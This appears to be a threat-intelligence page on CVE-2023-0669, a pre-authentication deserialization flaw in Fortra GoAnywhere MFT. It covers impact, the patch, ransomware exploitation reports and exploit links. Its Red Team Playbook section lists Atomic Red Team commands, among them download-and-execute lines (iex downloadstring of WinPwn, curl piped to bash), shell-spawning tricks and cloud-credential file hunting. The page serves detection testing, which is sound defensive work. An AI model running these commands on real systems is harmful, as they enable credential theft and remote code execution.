CVE-2023-0669

HIGH CISA KEV EXPLOIT POC TTE Zero-Day Pub 06/02 Upd 21/10

Overview

The vulnerability is a pre-authentication command injection caused by unsafe deserialization of attacker-controlled objects within the License Response Servlet of Fortra GoAnywhere MFT. The root cause is the deserialization of arbitrary, untrusted data without sufficient validation, enabling execution of malicious payloads. This flaw affects the License Response Servlet component, specifically handling license acceptance requests.

Vulnerability Description

Fortra (formerly, HelpSystems) GoAnywhere MFT suffers from a pre-authentication command injection vulnerability in the License Response Servlet due to deserializing an arbitrary attacker-controlled object. This issue was patched in version 7.1.2.

Impact

An unauthenticated attacker can execute arbitrary code on the affected system by sending a specially crafted request, gaining full control over the host. This includes executing system commands with the privileges of the application, potentially leading to data exfiltration, system compromise, and lateral movement within the network. No user interaction or prior authentication is required, increasing the attack surface significantly.

Solution

Apply the vendor patch by upgrading Fortra GoAnywhere MFT to version 7.1.2 or later, as detailed in the official advisory at https://my.goanywhere.com/webclient/ViewSecurityAdvisories.xhtml#zerodayfeb1. Follow the vendor’s instructions precisely to replace vulnerable components. No alternative mitigations are recommended beyond applying the official update.

EPSS vs KEV Prediction — Evolution (30 days)

Full Analysis

The vulnerability present in Fortra's GoAnywhere Managed File Transfer product arises from a pre-authentication command injection flaw within the License Response Servlet. This issue is primarily due to the insecure deserialization of an attacker-controlled object, which allows an unauthorized user to execute arbitrary commands on the server before authentication takes place. The underlying problem lies in the way the application processes serialized data without adequate validation or sanitization, leading to a potential compromise of the server's integrity and confidentiality. Attackers can exploit this weakness to manipulate the application's behavior, potentially gaining unauthorized access to sensitive data or executing malicious code.

Exploitation of this vulnerability can occur through various attack vectors. An adversary could craft a malicious request targeting the License Response Servlet, embedding a specially designed payload that the server would deserialize. Once the payload is executed, the attacker could gain control over the server environment, enabling them to perform actions such as data exfiltration, system manipulation, or lateral movement within the network. The pre-authentication nature of this vulnerability significantly lowers the barrier for exploitation, as it does not require prior access to the system, making it particularly dangerous for organizations that rely on this file transfer solution for sensitive operations.

The real-world impact of this vulnerability can be substantial, particularly for businesses that utilize GoAnywhere for critical file transfers. Organizations that handle sensitive data, such as personal identifiable information (PII), financial records, or intellectual property, are at heightened risk. A successful exploitation could lead to severe consequences, including data breaches, regulatory penalties, reputational damage, and operational disruptions. The financial implications of such incidents can be significant, not only due to immediate remediation costs but also due to long-term impacts on customer trust and market position. The combination of a high CVSS score and the potential for widespread exploitation underscores the urgency for affected organizations to address this vulnerability promptly.

To detect and mitigate the risks associated with this vulnerability, organizations should implement a multi-faceted approach. First and foremost, upgrading to the patched version of the software is critical to eliminate the vulnerability. Regularly applying security updates and patches is a fundamental best practice in maintaining the security posture of any application. Additionally, organizations should conduct thorough security assessments and penetration testing to identify any other potential vulnerabilities within their systems. Monitoring network traffic for unusual patterns or unauthorized access attempts can also help in early detection of exploitation attempts. Employing Web Application Firewalls (WAF) and intrusion detection systems can provide an additional layer of defense by filtering out malicious requests before they reach the application.

In conclusion, the pre-authentication command injection vulnerability in Fortra's GoAnywhere Managed File Transfer product poses a significant threat to organizations that depend on this software for secure file transfers. The ease of exploitation, coupled with the potential for severe business impact, necessitates immediate action from affected users. By prioritizing timely updates, continuous monitoring, and robust security practices, organizations can mitigate the risks associated with this vulnerability and protect their sensitive data from malicious actors.




CSURFACE threat intelligence has detected a notable surge in exploitation attempts targeting the CVE-2023-0669 vulnerability in Fortra GoAnywhere MFT. This increase in activity, while moderate, signals growing adversary interest and operational tempo in leveraging this pre-authentication command injection flaw. The persistence of multiple publicly available proof-of-concept exploits continues to lower the barrier for threat actors, including ransomware groups such as Clop and LockBit variants, to weaponize this vulnerability in their campaigns. Our telemetry indicates that exploitation efforts remain steady but are trending upward, underscoring the vulnerability’s ongoing relevance in the current threat landscape. Consequently, the risk level for organizations running affected versions remains elevated, with a heightened likelihood of compromise through remote code execution. This evolving exploitation pattern reinforces the criticality of maintaining patched environments and monitoring for indicators associated with known ransomware actors exploiting this CVE.



Update 2 — May 24, 2026

CSURFACE threat intelligence has identified a marked escalation in exploitation attempts targeting CVE-2023-0669, reflecting a significant uptick in attacker activity leveraging this pre-authentication command injection vulnerability. This surge corresponds with an expanding presence of ransomware groups such as Clop and multiple LockBit variants actively incorporating this exploit into their operational toolkits. Concurrently, new proof-of-concept exploits have emerged in public repositories, lowering the barrier for adversaries to weaponize this vulnerability. While the EPSS score remains high and stable, the qualitative increase in exploitation attempts signals a growing threat momentum that defenders must acknowledge. This evolving landscape elevates the risk profile for organizations running unpatched versions of Fortra GoAnywhere MFT, as the likelihood of successful remote code execution attacks is intensifying. The trend underscores the criticality of vigilant monitoring and reinforces the vulnerability’s sustained relevance in ransomware campaigns.



Update 3 — July 04, 2026

CSURFACE threat intelligence has identified a modest yet meaningful uptick in exploitation attempts targeting CVE-2023-0669, reflecting a sustained adversary interest in leveraging this pre-authentication command injection vulnerability. This increase in activity coincides with the continued availability and refinement of multiple proof-of-concept exploits in public repositories, which lowers the technical barrier for threat actors, including ransomware groups such as Clop and LockBit variants, to operationalize attacks. Although the EPSS score remains at an extreme level, the qualitative rise in detection frequency signals an intensifying exploitation momentum that could translate into broader operational impact if unpatched systems persist. This evolving threat dynamic underscores the vulnerability’s persistent attractiveness as a vector for ransomware campaigns and reinforces the urgency for defenders to maintain heightened vigilance in monitoring and response efforts. The risk posture for organizations running vulnerable versions of Fortra GoAnywhere MFT is elevated, as adversaries increasingly capitalize on accessible exploit code and active targeting patterns.

Affected Products (1)

Vendor Product Version CPE
fortra Fortra Goanywhere Managed File Transfer All cpe:2.3:a:fortra:goanywhere_managed_file_transfer:*:*:*:*:*:*:*:*
Warning: The exploits and proof-of-concept (PoC) code listed below are sourced from third-party public repositories. CSURFACE assumes no responsibility for the content, accuracy, or safety of these resources. Use at your own risk. Learn more

Metasploit (1)

Module Authors Rank Platform Link
Fortra GoAnywhere MFT Unsafe Deserialization RCE
exploits/multi/http/fortra_goanywhere_rce_cve_2023_0669
Ron Bowes, Frycos (Florian Hauser) Unknown unix, win View

ExploitDB (1)

Title Author Type Platform Date Link
Goanywhere Encryption helper 7.1.1 - Remote Code Execution (RCE) Youssef Muhammad webapps java - View

GitHub PoCs (6)

Repository Author Stars Forks Date Link
0xf4n9x/CVE-2023-0669
CVE-2023-0669 GoAnywhere MFT suffers from a pre-authentication command injection vulnerability in the License Response S...
0xf4n9x 103 22 2023-02-10 View
Avento/CVE-2023-0669
GoAnywhere MFT CVE-2023-0669 LicenseResponseServlet Deserialization Vulnerabilities Python RCE PoC(Proof of Concept)
Avento 8 3 2023-04-06 View
yosef0x01/CVE-2023-0669-Analysis
CVE analysis for CVE-2023-0669
yosef0x01 7 2 2023-02-26 View
Griffin-01/CVE-2023-0669
Griffin-01 0 0 2023-02-21 View
zakaria-laouani/cve-2023-0669-simulation
zakaria-laouani 0 0 2025-12-24 View
cataliniovita/CVE-2023-0669
CVE-2023-0669 GoAnywhere MFT command injection vulnerability
cataliniovita 0 0 2023-02-15 View
Exploited in Wild CONFIRMED
Ransomware IN USE
Attacker Interest MEDIUM
Sightings Few sightings

Ransomware Groups 7

clop
CONFIRMED
1254 victims
ransomware.live
2026-06-25
lockbit
CONFIRMED
5 victims
correlation_misp
2026-04-05
lockbit
CONFIRMED
5 victims
ransomware.live
2026-06-25
lockbit green
CONFIRMED
correlation_misp
2026-04-05
lockbit black
CONFIRMED
correlation_misp
2026-04-05
lockbit 20
CONFIRMED
correlation_misp
2026-04-05
lockbit 30
CONFIRMED
correlation_misp
2026-04-05

Threat Feed

31 events
2026-06-30
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-06-25
Exploited by clop

Ransomware group known to exploit this vulnerability. Tools: Cobalt Strike, PowerShell Empire, TinyMet (1254 known victims)

2026-06-25
Exploited by lockbit

Ransomware group known to exploit this vulnerability (5 known victims)

2026-06-23
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-06-19
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-06-12
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-05-22
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-05-21
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-05-20
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-05-17
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-05-15
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-05-06
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-04-28
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-04-12
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-04-05
Exploited by lockbit

Ransomware group known to exploit this vulnerability (5 known victims)

2026-04-05
Exploited by lockbit green

Ransomware group known to exploit this vulnerability

2026-04-05
Exploited by lockbit black

Ransomware group known to exploit this vulnerability

2026-04-05
Exploited by lockbit 20

Ransomware group known to exploit this vulnerability

2026-04-05
Exploited by lockbit 30

Ransomware group known to exploit this vulnerability

2026-04-05
Exploited by clop

Ransomware group known to exploit this vulnerability. Tools: Cobalt Strike, PowerShell Empire, TinyMet (1254 known victims)

2026-04-05
Exploited by lockbit

Ransomware group known to exploit this vulnerability (5 known victims)

2026-04-05
Exploited by lockbit green

Ransomware group known to exploit this vulnerability

2026-04-05
Exploited by Storm-1175

Ransomware group known to exploit this vulnerability

2026-04-05
Exploited by lockbit black

Ransomware group known to exploit this vulnerability

2026-04-05
Exploited by lockbit 30

Ransomware group known to exploit this vulnerability

2026-04-05
Exploited by lockbit 20

Ransomware group known to exploit this vulnerability

2026-04-01
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-03-09
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2023-02-10
Added to CISA KEV Catalog

CISA confirmed active exploitation — added to Known Exploited Vulnerabilities catalog

2023-02-10
PoC Published (6 GitHub repositories)

Proof-of-concept code is publicly available for this vulnerability

2023-02-01
Exploit Published (1 ExploitDB, 1 Metasploit)

Public exploit code is available for this vulnerability

Likely Kill Chain

Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.

Applicable Out of scope
Initial Access
TA0001
Execution
TA0002
Persistence
TA0003
Priv. Escalation
TA0004
Defense Evasion
TA0005
Credential Access
TA0006
Lateral Movement
TA0008
Collection
TA0009
Impact
TA0040

Kill chain derived from the ML classifier.

Attack Vectors ML

OS Command Injection
98% command_injection
Deserialization Vulnerabilities
79% deserialization
Remote Code Execution
42% rce

MITRE ATT&CK Techniques (6)

The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.

ID Name Stage Tactics Platforms Link
T1190 Exploit Public-Facing Application Initial Access initial-access Containers, ESXi, IaaS, Linux, macOS, Network Devices, Windows
T1059.004 Unix Shell Kill Chain execution ESXi, Linux, macOS, Network Devices
T1505.003 Web Shell Kill Chain persistence Linux, macOS, Network Devices, Windows
T1552.001 Credentials In Files Kill Chain credential-access Containers, IaaS, Linux, macOS, Windows
T1049 System Network Connections Discovery Kill Chain discovery Windows, IaaS, Linux, macOS, Network Devices, ESXi
T1021.004 SSH Kill Chain lateral-movement ESXi, Linux, macOS

CAPEC Attack Patterns ML

ID Name ML Conf. Likelihood Severity Link
CAPEC-586 Object Injection
48%
Medium High

Red Team Playbook

44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.

T1021.004 ESXi - Enable SSH via PowerCLI Windows PowerShell Privileged
An adversary enables the SSH service on a ESXi host to maintain persistent access to the host and to carryout subsequent operations.
Command (PowerShell)
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false 
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
T1021.004 ESXi - Enable SSH via VIM-CMD Windows CMD
An adversary enables SSH on an ESXi host to maintain persistence and creeate another command execution interface. [Reference](https://lolesxi-project.github.io/LOLESXi/lolesxi/Binaries/vim-cmd/#enable%20service)
Command (CMD)
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
T1049 System Discovery using SharpView Windows PowerShell Privileged
Get a listing of network connections, domains, domain users, and etc. sharpview.exe located in the bin folder, an opensource red-team tool. Upon successful execution, cmd.exe will execute sharpview.exe <method>. Results will output via stdout.
Command (PowerShell)
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
T1049 System Network Connections Discovery Windows CMD
Get a listing of network connections. Upon successful execution, cmd.exe will execute `netstat`, `net use` and `net sessions`. `net sessions` requires elevated privileges; on standard user accounts this command may not return results. Results will output via stdout.
Command (CMD)
netstat -ano
net use
net sessions 2>nul
T1049 System Network Connections Discovery FreeBSD, Linux & MacOS Linux, macOS Shell
Get a listing of network connections. Upon successful execution, sh will execute `netstat` and `who -a`. Results will output via stdout.
Command (Shell)
netstat
who -a
T1049 System Network Connections Discovery via PowerShell (Process Mapping) Windows PowerShell
Enumerate TCP connections and map to owning process names via PowerShell.
Command (PowerShell)
Get-NetTCPConnection | ForEach-Object {
  $p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
  [pscustomobject]@{
    Local   = "$($_.LocalAddress):$($_.LocalPort)"
    Remote  = "$($_.RemoteAddress):$($_.RemotePort)"
    State   = $_.State
    PID     = $_.OwningProcess
    Process = if ($p) { $p.ProcessName } else { $null }
  }
} | Sort-Object State,Process | Format-Table -AutoSize
T1049 System Network Connections Discovery via sockstat (Linux, FreeBSD) Linux Shell
Enumerate IPv4/IPv6 network endpoints on FreeBSD using sockstat.
Command (Shell)
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
T1049 System Network Connections Discovery via ss or lsof (Linux/MacOS) Linux, macOS Bash
List active TCP/UDP network connections using ss, with lsof as a fallback when ss is unavailable. Serves as an alternative to the netstat-based test.
Command (Bash)
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
T1049 System Network Connections Discovery with PowerShell Windows PowerShell
Get a listing of network connections. Upon successful execution, powershell.exe will execute `get-NetTCPConnection`. Results will output via stdout.
Command (PowerShell)
Get-NetTCPConnection
T1059.004 Change login shell Linux Bash Privileged
An adversary may want to use a different login shell. The chsh command changes the user login shell. The following test, creates an art user with a /bin/bash shell, changes the users shell to sh, then deletes the art user.
Command (Bash)
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
T1059.004 Command line scripts Linux Shell
An adversary may type in elaborate multi-line shell commands into a terminal session because they can't or don't wish to create script files on the host. The following command is a simple loop, echoing out Atomic Red Team was here!
Command (Shell)
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
T1059.004 Command-Line Interface Linux, macOS Shell
Using Curl to download and pipe a payload to Bash. NOTE: Curl-ing to Bash is generally a bad idea if you don't control the server. Upon successful execution, sh will download via curl and wget the specified payload (echo-art-fish.sh) and set a marker file in `/tmp/art-fish.txt`.
Command (Shell)
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
T1059.004 Create and Execute Bash Shell Script Linux, macOS Shell
Creates and executes a simple sh script.
Command (Shell)
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
T1059.004 Creating shell using cpan command Linux, macOS Shell
cpan lets you execute perl commands with the ! command. It can be used to break out from restricted environments by spawning an interactive system shell. Reference - https://gtfobins.github.io/gtfobins/cpan/
Command (Shell)
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1  cpan
T1059.004 Current kernel information enumeration Linux Shell
An adversary may want to enumerate the kernel information to tailor their attacks for that particular kernel. The following command will enumerate the kernel information.
Command (Shell)
uname -srm
T1059.004 Detecting pipe-to-shell Linux Shell
An adversary may develop a useful utility or subvert the CI/CD pipe line of a legitimate utility developer, who requires or suggests installing their utility by piping a curl download directly into bash. Of-course this is a very bad idea. The adversary may also take advantage...
Command (Shell)
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt      
T1059.004 Environment variable scripts Linux Shell
An adversary may place scripts in an environment variable because they can't or don't wish to create script files on the host. The following test, in a bash shell, exports the ART variable containing an echo command, then pipes the variable to /bin/bash
Command (Shell)
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
T1059.004 Harvest SUID executable files Linux Shell
AutoSUID application is the Open-Source project, the main idea of which is to automate harvesting the SUID executable files and to find a way for further escalating the privileges.
Command (Shell)
chmod +x #{autosuid}
bash #{autosuid}
T1059.004 LinEnum tool execution Linux Shell
LinEnum is a bash script that performs discovery commands for accounts,processes, kernel version, applications, services, and uses the information from these commands to present operator with ways of escalating privileges or further exploitation of targeted host.
Command (Shell)
chmod +x #{linenum}
bash #{linenum}
T1059.004 New script file in the tmp directory Linux Shell
An attacker may create script files in the /tmp directory using the mktemp utility and execute them. The following commands creates a temp file and places a pointer to it in the variable $TMPFILE, echos the string id into it, and then executes the file using bash, which...
Command (Shell)
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
T1059.004 Obfuscated command line scripts Linux Shell
An adversary may pre-compute the base64 representations of the terminal commands that they wish to execute in an attempt to avoid or frustrate detection. The following commands base64 encodes the text string id, then base64 decodes the string, then pipes it as a command to...
Command (Shell)
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
T1059.004 Shell Creation using awk command Linux, macOS Shell
In awk the begin rule runs the first record without reading or interpreting it. This way a shell can be created and used to break out from restricted environments with the awk command. Reference - https://gtfobins.github.io/gtfobins/awk/#shell
Command (Shell)
awk 'BEGIN {system("/bin/sh &")}'
T1059.004 Shell Creation using busybox command Linux Shell
BusyBox is a multi-call binary. A multi-call binary is an executable program that performs the same job as more than one utility program. It can be used to break out from restricted environments by spawning an interactive system shell. Reference -...
Command (Shell)
busybox sh &
T1059.004 What shell is running Linux Shell
An adversary will want to discover what shell is running so that they can tailor their attacks accordingly. The following commands will discover what shell is running.
Command (Shell)
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
T1059.004 What shells are available Linux Shell
An adversary may want to discover which shell's are available so that they might switch to that shell to tailor their attacks to suit that shell. The following commands will discover what shells are available on the host.
Command (Shell)
cat /etc/shells 
T1059.004 emacs spawning an interactive system shell Linux, macOS Shell Privileged
emacs can be used to break out from restricted environments by spawning an interactive system shell. Ref: https://gtfobins.github.io/gtfobins/emacs/
Command (Shell)
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
T1505.003 Web Shell Written to Disk Windows CMD
This test simulates an adversary leveraging Web Shells by simulating the file modification to disk. Idea from APTSimulator. cmd.aspx source - https://github.com/tennc/webshell/blob/master/fuzzdb-webshell/asp/cmd.aspx
Command (CMD)
xcopy /I /Y "#{web_shells}" #{web_shell_path}
T1552.001 Access unattend.xml Windows CMD Privileged
Attempts to access unattend.xml, where credentials are commonly stored, within the Panther directory where installation logs are stored. If these files exist, their contents will be displayed. They are used to store credentials/answers during the unattended windows install process.
Command (CMD)
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
T1552.001 Extract Browser and System credentials with LaZagne macOS Bash Privileged
[LaZagne Source](https://github.com/AlessandroZ/LaZagne)
Command (Bash)
python2 laZagne.py all
T1552.001 Extract passwords with grep Linux, macOS Shell
Extracting credentials from files
Command (Shell)
grep -ri password #{file_path}
exit 0
T1552.001 Extracting passwords with findstr Windows PowerShell
Extracting Credentials from Files. Upon execution, the contents of files that contain the word "password" will be displayed.
Command (PowerShell)
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
T1552.001 Find AWS credentials Linux, macOS Shell
Find local AWS credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
T1552.001 Find Azure credentials Linux, macOS Shell
Find local Azure credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
T1552.001 Find GCP credentials Linux, macOS Shell
Find local Google Cloud Platform credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
T1552.001 Find OCI credentials Linux, macOS Shell
Find local Oracle cloud credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
T1552.001 Find and Access Github Credentials Linux, macOS Bash
This test looks for .netrc files (which stores github credentials in clear text )and dumps its contents if found.
Command (Bash)
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
T1552.001 List Credential Files via Command Prompt Windows CMD Privileged
Via Command Prompt,list files where credentials are stored in Windows Credential Manager
Command (CMD)
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
T1552.001 List Credential Files via PowerShell Windows PowerShell Privileged
Via PowerShell,list files where credentials are stored in Windows Credential Manager
Command (PowerShell)
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
T1552.001 WinPwn - Loot local Credentials - AWS, Microsoft Azure, and Google Compute credentials Windows PowerShell
Loot local Credentials - AWS, Microsoft Azure, and Google Compute credentials technique via function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive  
T1552.001 WinPwn - SessionGopher Windows PowerShell
Launches SessionGopher on this system via WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
T1552.001 WinPwn - Snaffler Windows PowerShell
Check Domain Network-Shares for cleartext passwords using Snaffler function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
T1552.001 WinPwn - passhunt Windows PowerShell
Search for Passwords on this system using passhunt via WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
T1552.001 WinPwn - powershellsensitive Windows PowerShell
Check Powershell event logs for credentials or other sensitive information via winpwn powershellsensitive function.
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
T1552.001 WinPwn - sensitivefiles Windows PowerShell
Search for sensitive files on this local system using the SensitiveFiles function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput

Detection & Response Rules

No detection or response rules found for this CVE.

No news articles found for this CVE.

References (10)

Title Tags URL
nvd.nist.gov
NVD reference
https://nvd.nist.gov/vuln/detail/CVE-2023-0669
my.goanywhere.com
GitHub CVE vendor-advisory
https://my.goanywhere.com/webclient/ViewSecurityAdvisories.xhtml#zerodayfeb1
infosec.exchange
GitHub CVE media-coverage
https://infosec.exchange/@briankrebs/109795710941843934
rapid7.com
GitHub CVE third-party-advisory
https://www.rapid7.com/blog/post/2023/02/03/exploitation-of-goanywhere-mft-zero-day-vulnerability/
attackerkb.com
GitHub CVE third-party-advisory
https://attackerkb.com/topics/mg883Nbeva/cve-2023-0669/rapid7-analysis
github.com
GitHub CVE exploit
https://github.com/rapid7/metasploit-framework/pull/17607
duo.com
GitHub CVE media-coverage
https://duo.com/decipher/fortra-patches-actively-exploited-zero-day-in-goanywhere-mft
frycos.github.io
GitHub CVE third-party-advisory
https://frycos.github.io/vulns4free/2023/02/06/goanywhere-forgotten.html
packetstormsecurity.com
GitHub CVE
http://packetstormsecurity.com/files/171789/Goanywhere-Encryption-Helper-7.1.1-Remote-Code-Execution.html
cisa.gov
NVD API US Government Resource
https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2023-0669